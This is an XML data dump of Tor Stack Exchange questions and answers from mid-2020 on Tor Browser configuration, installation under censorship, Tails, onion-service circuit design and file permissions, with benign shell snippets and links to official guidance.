  <row Id="21457" PostTypeId="1" AcceptedAnswerId="21461" CreationDate="2020-07-30T21:04:16.043" Score="1" ViewCount="1447" Body="&lt;p&gt;I already checked out a &lt;a href=&quot;https://tor.stackexchange.com/questions/84/how-do-i-create-a-launcher-script-that-opens-an-url-in-torbrowser-from-the-bu&quot;&gt;similar question&lt;/a&gt;, but it's obsolete and didn't quite help me, hence I'm creating a new one.&lt;/p&gt;&#xA;&lt;p&gt;I tried passing arguments to &lt;code&gt;start-tor-browser&lt;/code&gt;, &lt;code&gt;firefox&lt;/code&gt; and even &lt;code&gt;torbrowser-launcher&lt;/code&gt; scripts as well as &lt;code&gt;firefox.real&lt;/code&gt; executable found inside the main Tor Browser directory, yet none of it worked. Instead, it kept giving me an error, stating that Tor Browser instance is already running and I should close the existing Tor Browser process in order to open a desired link. I also tried creating a shell script named &lt;code&gt;test.sh&lt;/code&gt; that would point to one of the aforementioned scripts and executables:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/sh&#xA;$HOME/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/firefox.real &amp;quot;$@&amp;quot; &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then assigned the path to said script in newsboat config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;browser &amp;quot;~/.scripts/test.sh %u&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and upon pressing 'o' button in newsboat it obviously kept giving me the same error about running instance of TBB. What should I do to resolve this? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="30690" LastActivityDate="2020-08-03T05:55:53.330" Title="How do I open external links from within newsboat (RSS reader) in an already open instance of Tor Browser?" Tags="|tor-browser-bundle|configuration|linux|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21461" PostTypeId="2" ParentId="21457" CreationDate="2020-07-31T19:30:38.177" Score="0" Body="&lt;p&gt;I had the same problem with QuiteRSS. If I set the application's default browser to point to &lt;code&gt;start-tor-browser&lt;/code&gt; then it can correctly launch Tor browser and open the link. However, if an instance of Tor browser is already running and I try to click a link then I get the same error as you. I am not aware of any built-in way to fix this.&lt;/p&gt;&#xA;&lt;p&gt;Assuming you are on Linux, one workaround would be to use something like &lt;code&gt;xdotool&lt;/code&gt; and &lt;code&gt;wmctrl&lt;/code&gt;. You could write a simple script that gets the URL from the RSS reader as an argument and then uses &lt;code&gt;wmctrl&lt;/code&gt; to check if an instance of Tor browser is already running. If it is, then use &lt;code&gt;wmctrl&lt;/code&gt; and &lt;code&gt;xdotool&lt;/code&gt; to simulate keyboard shortcuts to focus the browser window, open a new tab (Ctrl+t), activate the URL bar (Ctrl+L), paste the URL, and click enter. This would effectively achieve what you want. Something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#! /bin/bash    &#xA;&#xA;url=$1&#xA;&#xA;# First, check if a window with the name 'Tor Browser' exists&#xA;# (we assume there is only one instance running, which is okay&#xA;# since it will not allow more than one instance anyway)&#xA;wmctrl -lp | grep 'Tor Browser' &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;&#xA;# Now check exit status of the previous command&#xA;case $? in&#xA;  1) # instance not found... launch it&#xA;     /your/path/to/tor-browser_en-US/Browser/start-tor-browser $url&#xA;     exit  # quit the script&#xA;     ;;&#xA;&#xA;  0) # instance was found&#xA;     id=`wmctrl -lp | grep 'Tor Browser'| awk '{print $1}'`  # get process ID&#xA;     wmctrl -iR $id  # raise the process corresponding to Tor Browser&#xA;     xdotool key --clearmodifiers ctrl+t  # open a new tab in Tor Browser&#xA;     xdotool type $url  # type the URL in the search bar&#xA;     xdotool key --clearmodifiers Return  # press enter&#xA;     exit  # quit the script&#xA;     ;;&#xA;esac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28442" LastEditorUserId="28442" LastEditDate="2020-08-03T05:55:53.330" LastActivityDate="2020-08-03T05:55:53.330" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21463" PostTypeId="1" CreationDate="2020-08-01T17:53:17.597" Score="0" ViewCount="238" Body="&lt;p&gt;For example: On my windows computer, i am visiting a website on the Tor browser. At the same time, i am watching a youtube video on google Chrome on the same windows computer.&lt;/p&gt;&#xA;&lt;p&gt;Can google know which site i am visiting on Tor?&lt;/p&gt;&#xA;" OwnerUserId="30696" LastActivityDate="2022-03-04T06:01:00.107" Title="Is Tor private when i am connecting to google from the same machine?" Tags="|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21464" PostTypeId="1" CreationDate="2020-08-03T02:11:01.707" Score="0" ViewCount="1369" Body="&lt;p&gt;I have a USB drive that has more than one partition, and there is enough space for Tails in one of the partitions. How do I install Tails on a specific partition that's on that USB drive without deleting the other partitions/files?&lt;/p&gt;&#xA;" OwnerUserId="30703" LastActivityDate="2021-12-29T13:04:05.373" Title="How to install Tails on a multi partition drive" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21467" PostTypeId="2" ParentId="21464" CreationDate="2020-08-06T09:01:37.263" Score="0" Body="&lt;p&gt;Tails should be used as a live USB or in a virtual machine. If you check the Tails website, you will not find instructions on how to install it to a disk because that's not how it is meant to be used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/install/linux/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/install/linux/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-06T09:01:37.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21468" PostTypeId="2" ParentId="21354" CreationDate="2020-08-07T17:48:34.787" Score="0" Body="&lt;p&gt;I can't be sure of this, but maybe it's a workaround, after all. A few times I noticed that the page was waiting after facebook.com, so I added an entry in uBlock Origin, and since a few days ago, it &lt;em&gt;seems&lt;/em&gt; to behave. I posted this as an answer because it seems to have an effect. Whether it is so, or not, I don't know.&lt;/p&gt;&#xA;" OwnerUserId="8164" LastActivityDate="2020-08-07T17:48:34.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21469" PostTypeId="1" CreationDate="2020-08-07T20:34:23.480" Score="0" ViewCount="5734" Body="&lt;p&gt;My ISP blocks torproject.org,  so when I try to run Tor Browser for the first time, &lt;code&gt;torbrowser-launcher&lt;/code&gt; cannot install it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~$ Tor Browser Launcher&#xA;By Micah Lee, licensed under MIT&#xA;version 0.3.2&#xA;https://github.com/micahflee/torbrowser-launcher&#xA;Downloading Tor Browser for the first time.&#xA;Downloading https://aus1.torproject.org/torbrowser/update_3/release/Linux_x86_64-gcc3/x/en-US&#xA;Error starting download:&#xA;&#xA;https://aus1.torproject.org/torbrowser/update_3/release/Linux_x86_64-gcc3/x/en-US&#xA;&#xA;Are you connected to the internet?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am running Debian stable (&lt;em&gt;buster&lt;/em&gt;) and I installed the &lt;code&gt;torbrowser-launcher&lt;/code&gt; through the buster-backports.&lt;/p&gt;&#xA;" OwnerUserId="30720" LastActivityDate="2020-08-07T20:56:10.733" Title="How can I install Tor Browser if torproject.org is blocked by my ISP?" Tags="|linux|debian|blocked-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21470" PostTypeId="2" ParentId="21469" CreationDate="2020-08-07T20:56:10.733" Score="1" Body="&lt;p&gt;The recommended way to install Tor Browser is to install it directly and not through &lt;code&gt;torbrowser-launcher&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is some information about getting Tor Browser on the torproject.org website, but since you can't access it, I'll post it below:&lt;/p&gt;&#xA;&lt;h3&gt;How do I download Tor Browser if the torproject.org is blocked? (&lt;a href=&quot;https://support.torproject.org/gettor/gettor-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/gettor/gettor-1/&lt;/a&gt;)&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you can't download Tor Browser through our &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt;, you can get a copy of Tor Browser delivered to you via &lt;a href=&quot;https://gettor.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetTor&lt;/a&gt;. GetTor is a service that automatically responds to messages with links to the latest version of Tor Browser, hosted at a variety of locations that are less likely to be censored, such as Dropbox, Google Drive, and GitHub. You can also download Tor Browser from &lt;a href=&quot;https://tor.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor.eff.org&lt;/a&gt; or from &lt;a href=&quot;https://tor.ccc.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tor.ccc.de&lt;/a&gt;. For more geographically specific links visit &lt;a href=&quot;https://2019.www.torproject.org/getinvolved/mirrors.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: Mirrors&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;What is GetTor? (&lt;a href=&quot;https://gettor.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gettor.torproject.org/&lt;/a&gt;)&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;GetTor is a service that provides alternative methods to download the Tor Browser, especially for people living in places with high levels of censorship, where access to Tor Project's website is restricted.&lt;/p&gt;&#xA;&lt;h3&gt;How does it work?&lt;/h3&gt;&#xA;&lt;p&gt;The idea behind GetTor is very simple:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 1: Send a request to GetTor (gettor@torproject.org) specifying your operating system (and your locale). Ex: &amp;quot;windows es&amp;quot;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 2: GetTor will send you back a reply with links to download Tor Browser from our supported providers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 3: Download Tor Browser from one of the providers. When done, check the integrity of the downloaded files by verifying its signature.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 4: If required, get some bridges!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;GetTor Responder on Twitter&lt;/h3&gt;&#xA;&lt;p&gt;GetTor is currently not working on Twitter.&lt;/p&gt;&#xA;&lt;h3&gt;How to verify a digital signature&lt;/h3&gt;&#xA;&lt;p&gt;Digital signature is a process ensuring that a certain package was generated by its developers and has not been tampered with.&lt;/p&gt;&#xA;&lt;p&gt;In GetTor emails we provide a link to a file with the same name as the package and the extension &amp;quot;.asc&amp;quot;. These .asc files are OpenPGP signatures. They allow you to verify the file you've downloaded is exactly the one that we intended you to get. For example, &lt;code&gt;torbrowser-install-win64-8.5.4_en-US.exe&lt;/code&gt; is accompanied by &lt;code&gt;torbrowser-install-win64-8.5.4_en-US.exe.asc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/tbb/how-to-verify-signature/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check how to verify a digital signature.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;How to get bridges&lt;/h3&gt;&#xA;&lt;p&gt;Bridge relays are Tor relays that are not listed in the public Tor directory. That means that ISPs or governments trying to block access to the Tor network can't simply block all bridges. Bridges are useful for Tor users under oppressive regimes, and for people who want an extra layer of security because they're worried somebody will recognize that they are contacting a public Tor relay IP address.&lt;/p&gt;&#xA;&lt;p&gt;When you start TorBrowser for the first time you will be asked if you want to use bridges. To use pluggable transports, click 'Configure' in the Tor Launcher window that appears when you first run Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;You can also configure pluggable transports while Tor Browser is running by clicking on the onion icon to the left of the address bar, then selecting 'Tor Network Settings'.&lt;/p&gt;&#xA;&lt;p&gt;Select 'Tor is censored in my country,' then click 'Select a built-in bridge.' Click on the drop-down menu and select the pluggable transport you'd like to use.&lt;/p&gt;&#xA;&lt;p&gt;Click 'OK' to save your settings.&lt;/p&gt;&#xA;&lt;p&gt;Another way to get bridges is to send an email to bridges@torproject.org. Please note that you must send the email using an address from one of the following email providers: Riseup or Gmail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-07T20:56:10.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21471" PostTypeId="1" CreationDate="2020-08-07T22:09:26.597" Score="0" ViewCount="1501" Body="&lt;p&gt;I have passwords stored in keychain and a browser (brave browser) and an exported version as a CSV file. How can I import it to Tor browser login password system?&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="30721" LastEditorUserId="30722" LastEditDate="2020-08-18T18:45:47.853" LastActivityDate="2022-08-23T22:19:23.303" Title="How can I import login credentials from other browsers or keychain or file?" Tags="|login|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21472" PostTypeId="2" ParentId="17308" CreationDate="2020-08-08T16:02:24.113" Score="1" Body="&lt;p&gt;There's nothing to install.&#xA;The Tor Browser starts with a double click on the &amp;quot;start-tor-browser.desktop&amp;quot; file in the extracted folder.&#xA;All you have to do is extract the downloaded file.&#xA;You just &lt;a href=&quot;https://www.torproject.org/download/languages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download the Tor Browser&lt;/a&gt; and extract the &amp;quot;tor-browser-linux64-9.X.X_en-US.tar.xz&amp;quot; file into your &amp;quot;Home&amp;quot; directory.&lt;/p&gt;&#xA;&lt;p&gt;Open your Command line interface (CLI) and enter this commands:&lt;/p&gt;&#xA;&lt;p&gt;---EDIT---&lt;/p&gt;&#xA;&lt;p&gt;Use the absolute path, not the relative path (~/).&lt;br&gt;&#xA;It will not work whit the relative path.&lt;br&gt;&#xA;Replace &amp;quot;&lt;strong&gt;USER&lt;/strong&gt;&amp;quot; with your user account name, like &amp;quot;dude&amp;quot; or &amp;quot;noob&amp;quot; or... what ewer your user name is.&lt;/p&gt;&#xA;&lt;p&gt;---EDIT---&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd /home/USER/&#xA;tar xf /home/USER/Downloads/tor-browser-linux64-9.X.X_en-US.tar.xz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the Tor Browser is extracted into your &amp;quot;home&amp;quot; directory.&#xA;Open the &amp;quot;home&amp;quot; folder in a file-browser like Dolphin, go to the directory &amp;quot;~/tor-browser_en-US&amp;quot; and double click on the &amp;quot;start-tor-browser.desktop&amp;quot; icon.&lt;/p&gt;&#xA;&lt;p&gt;If you want to make a shortcut in to your Start-menu, do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo cp /home/USER/tor-browser_en-US/start-tor-browser.desktop /usr/share/applications/start-tor-browser.desktop&#xA;sudo chmod 775 /usr/share/applications/start-tor-browser.desktop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now open your start menu and go to &amp;quot;Applications/Internet&amp;quot; and there is your Tor Browser. If not, logout/login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aurpr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aurpr.jpg&quot; alt=&quot;Tor in Start menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30713" LastEditorUserId="30713" LastEditDate="2020-08-08T18:51:26.007" LastActivityDate="2020-08-08T18:51:26.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21474" PostTypeId="2" ParentId="21471" CreationDate="2020-08-08T19:11:38.490" Score="0" Body="&lt;p&gt;You can import bookmarks but importing any other settings is disabled in Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Check for yourself. It's the same function as in Firefox.&lt;/p&gt;&#xA;&lt;p&gt;CTRL-SHIFT-o -&amp;gt; Import and Backup -&amp;gt; Import Data from Another Browser&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-08T19:11:38.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21478" PostTypeId="2" ParentId="4568" CreationDate="2020-08-10T01:07:22.353" Score="0" Body="&lt;p&gt;well, it may make sense to limit the data size to 512 bytes, as the tor/onion net seems to be able to take that payload without fragmentation: &lt;a href=&quot;https://tor.stackexchange.com/questions/9127/tor-and-obfsproxy-packet-size&quot;&gt;TOR and Obfsproxy packet size&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;ie in case nginx is used, i'd try to set &lt;code&gt;[sndbuf=size]&lt;/code&gt; in the listen directive &lt;a href=&quot;http://nginx.org/en/docs/stream/ngx_stream_core_module.html#listen&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://nginx.org/en/docs/stream/ngx_stream_core_module.html#listen&lt;/a&gt;. not sure if  &lt;code&gt;[rcvbuf=size]&lt;/code&gt; would help as well …&lt;/p&gt;&#xA;" OwnerUserId="30731" LastEditorUserId="30731" LastEditDate="2020-08-10T01:13:52.283" LastActivityDate="2020-08-10T01:13:52.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21479" PostTypeId="1" CreationDate="2020-08-10T04:49:25.670" Score="0" ViewCount="143" Body="&lt;p&gt;I have been trying to understand the process behind Hidden Services and something that is confusing me is the circuit lengths between different components in the Hidden Service Scenario. So far, I have found the following.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client - RP : 2 Nodes&lt;/li&gt;&#xA;&lt;li&gt;Client - IP : 3 Nodes&lt;/li&gt;&#xA;&lt;li&gt;Client - HSDir : 3 Nodes&lt;/li&gt;&#xA;&lt;li&gt;HS - RP : 3 Nodes&lt;/li&gt;&#xA;&lt;li&gt;HS - IP : 2 Nodes&lt;/li&gt;&#xA;&lt;li&gt;HS - HSDir : 3 Nodes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I would like to know whether this is correct and if so what is the reason to have only 2 nodes between Client - RP and HS - IP?&lt;/p&gt;&#xA;&lt;p&gt;Also, I saw that in the connection establishment scenario with a normal web server, the client - Directory Server connection has only 1 hop/node? If this is true why does the HSDir connections have 3 hops in between?&lt;/p&gt;&#xA;" OwnerUserId="30732" LastEditorUserId="24966" LastEditDate="2020-08-10T06:19:44.233" LastActivityDate="2022-01-02T09:01:20.123" Title="What are the current default lengths in Hidden Service related circuits?" Tags="|onion-services|circuit|directory|connection|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21480" PostTypeId="2" ParentId="21479" CreationDate="2020-08-10T05:12:44.017" Score="0" Body="&lt;p&gt;I didn't check that all your numbers are correct, but they seem reasonable. Tor clients try to use three relays of its own choosing for anonymous circuits. Since the onion service chooses the introduction point, it only needs two other relays before it. Similarly, since the client chooses the rendezvous point, it only needs two other relays before it. In all of these cases, the circuit contains three relays chosen by the client.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, I saw that in the connection establishment scenario with a normal web server, the client - Directory Server connection has only 1 hop/node? If this is true why does the HSDir connections have 3 hops in between?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Connections to directory servers don't have 1 hop in between. Rather that first hop &lt;em&gt;is&lt;/em&gt; the final destination. These relays are generally directory caches, so the clients download the directory documents directly from these relays. This is because the clients don't need anonymity in this case. Everyone downloads the same directory documents, so the server should not learn anything about the client (other than the client's IP address) or the websites that it visits. Tor clients use directory guards so that only a limited number of relays ever learn the client's IP address.&lt;/p&gt;&#xA;&lt;p&gt;Hidden service directories act differently. Unlike directory documents where all clients download the same documents, clients request individual hidden service descriptors depending on what onion address the user attempts to visit. In this case the user requires anonymity since every user will request different combinations of hidden service descriptors.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-08-10T05:12:44.017" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21481" PostTypeId="2" ParentId="16121" CreationDate="2020-08-10T13:11:39.270" Score="0" Body="&lt;p&gt;I believe this happens when it can not parse the following two files:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GEOIP IPv4 file at &lt;code&gt;C:\Users\[username]\AppData\Roaming\[username]\geoip&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;GEOIP IPv6 file at &lt;code&gt;C:\Users\[username]\AppData\Roaming\[username]\geoip6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30735" LastEditorUserId="24966" LastEditDate="2020-08-18T18:45:40.337" LastActivityDate="2020-08-18T18:45:40.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21482" PostTypeId="1" CreationDate="2020-08-10T15:15:59.347" Score="3" ViewCount="141" Body="&lt;p&gt;I'm running a bitcoin node behind a v2 onion address. I'd like to migrate its traffic to a different, v3 address.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way that my peers can be notified of such a change so they learn that myv2addess.onion and myv3address.onion are actually the same machine? Or do I have to just bring the myv3address.onion online and wait for traffic to come?&lt;/p&gt;&#xA;" OwnerUserId="30736" LastActivityDate="2022-01-28T23:02:56.080" Title="Migrating a service from its v2 address to a new v3 one" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21483" PostTypeId="1" CreationDate="2020-08-11T08:54:47.703" Score="0" ViewCount="97" Body="&lt;p&gt;I currently make a HTTPS request to: &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I then check if the output contains this anywhere:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Congratulations. This browser is configured to use Tor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If it does, I return &amp;quot;true&amp;quot; for my function. Otherwise, I return &amp;quot;false&amp;quot;. The name of the function is &lt;code&gt;is_tor_being_used()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While this technically works, it seems very &amp;quot;fragile&amp;quot; and also privacy-invasive. Is there no way I can check this without making clearnet requests? And do they really not have a JSON version of that webpage or something? Checking for random text in English, intended for humans, feels fundamentally wrong.&lt;/p&gt;&#xA;" OwnerUserId="30739" LastActivityDate="2022-01-03T14:06:40.713" Title="Is there a less privacy-invasive way to automate checking whether Tor is being used on the machine than this?" Tags="|security|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21484" PostTypeId="2" ParentId="21483" CreationDate="2020-08-11T12:18:03.543" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;While this technically works, it seems very &amp;quot;fragile&amp;quot; and also&#xA;privacy-invasive. Is there no way I can check this without making&#xA;clearnet requests? And do they really not have a JSON version of that&#xA;webpage or something? Checking for random text in English, intended&#xA;for humans, feels fundamentally wrong.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is checking your Tor IP against the know list of exit nodes.&lt;/p&gt;&#xA;&lt;p&gt;If you don't want a clearnet option, then go to &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to query the database directly, use &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is also information on that page on how to use APIs with Tor. Finally, if you have more questions, contact the Tor Project www team. They have an IRC chat and a mailing list &lt;a href=&quot;https://www.torproject.org/contact/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/contact/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-08-11T12:18:03.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21489" PostTypeId="1" CreationDate="2020-08-13T09:20:12.330" Score="1" ViewCount="70" Body="&lt;p&gt;It seems that a Tor client connects to a HSDir through a circuit of 3 Tor nodes when retrieving a hidden service descriptor. But to access a hidden service, a user only needs to know the .onion address of that hidden service. Therefore, how does the Tor client/onion proxy finds the correct HSDirs it should connect to when trying to establish a connection to a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="30732" LastActivityDate="2020-08-13T09:20:12.330" Title="How does a Tor client find the correct HSDir to connect to when fetching a &quot;descriptor&quot; of a hidden service?" Tags="|onion-services|onion-routing|client|node|hsdir|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21492" PostTypeId="1" CreationDate="2020-08-14T23:40:02.153" Score="0" ViewCount="1890" Body="&lt;p&gt;Doing ls -l /var/lib/tor I get the following:&lt;/p&gt;&#xA;&lt;p&gt;Permissions user user&lt;/p&gt;&#xA;&lt;p&gt;There are 14 more just like it. Is this normal? And if not,&#xA;How do I remove them? Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2022-01-08T06:01:50.140" Title="Tor /var/lib/tor permissions" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21493" PostTypeId="2" ParentId="19424" CreationDate="2020-08-15T10:52:37.240" Score="0" Body="&lt;p&gt;For GNU/Linux, if you've installed Tor manually, make sure you own the installation files. Supposing you extracted Tor into &lt;code&gt;/opt&lt;/code&gt;, you should run (replace en-US with the language you downloaded) :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R `whoami` /opt/tor-browser_en-US&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30761" LastEditorUserId="30761" LastEditDate="2020-08-16T15:46:58.167" LastActivityDate="2020-08-16T15:46:58.167" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21496" PostTypeId="2" ParentId="21492" CreationDate="2020-08-16T02:49:12.610" Score="0" Body="&lt;p&gt;Yes that directory (and all files in it) should be owned by debian-tor if you installed tor using apt.&lt;/p&gt;&#xA;&lt;p&gt;You should be able to fix that with &lt;code&gt;sudo chown -R debian-tor:debian-tor /var/lib/tor&lt;/code&gt;. But first make sure that tor is running under the same user by checking that &lt;code&gt;ps -o user= -p $(pgrep -x tor)&lt;/code&gt; returns &lt;code&gt;debian-tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-08-16T03:24:53.893" LastActivityDate="2020-08-16T03:24:53.893" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21498" PostTypeId="1" AcceptedAnswerId="21500" CreationDate="2020-08-16T10:51:45.420" Score="1" ViewCount="127" Body="&lt;p&gt;This is a newbie and probably a lame question but it popped up while I was reading the design doc: &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If theoretically someone runs a modified onion relay (OR) that does not really extend the circuit (section 4.2 - Constructing a circuit) but instead computes the next key and responds as it has extended the circuit as a real OR does. It seems that the user (Alice) does not make direct connections to the next nodes in the circuit but relies only on the entry node to extend it. Once she make a request through that OR, the OR will know details about her and the final endpoint and thus compromise TOR.&lt;/p&gt;&#xA;&lt;p&gt;What does TOR to ensure that traffic is actually relayed through multiple nodes and not just passing through a single node that seemingly act as a normal node?&lt;/p&gt;&#xA;" OwnerUserId="30766" LastActivityDate="2020-08-16T23:01:28.657" Title="Why can't a modified guard node compromise the network?" Tags="|security|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21499" PostTypeId="1" AcceptedAnswerId="21504" CreationDate="2020-08-16T22:52:04.760" Score="0" ViewCount="82" Body="&lt;p&gt;I noticed Tor Browser updates were really fast, while overall connection speed was more Tor-like.&lt;/p&gt;&#xA;" OwnerUserId="30524" LastActivityDate="2020-08-18T17:18:10.730" Title="Do Tor Browser updates happen through Tor?" Tags="|tor-browser-bundle|update|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
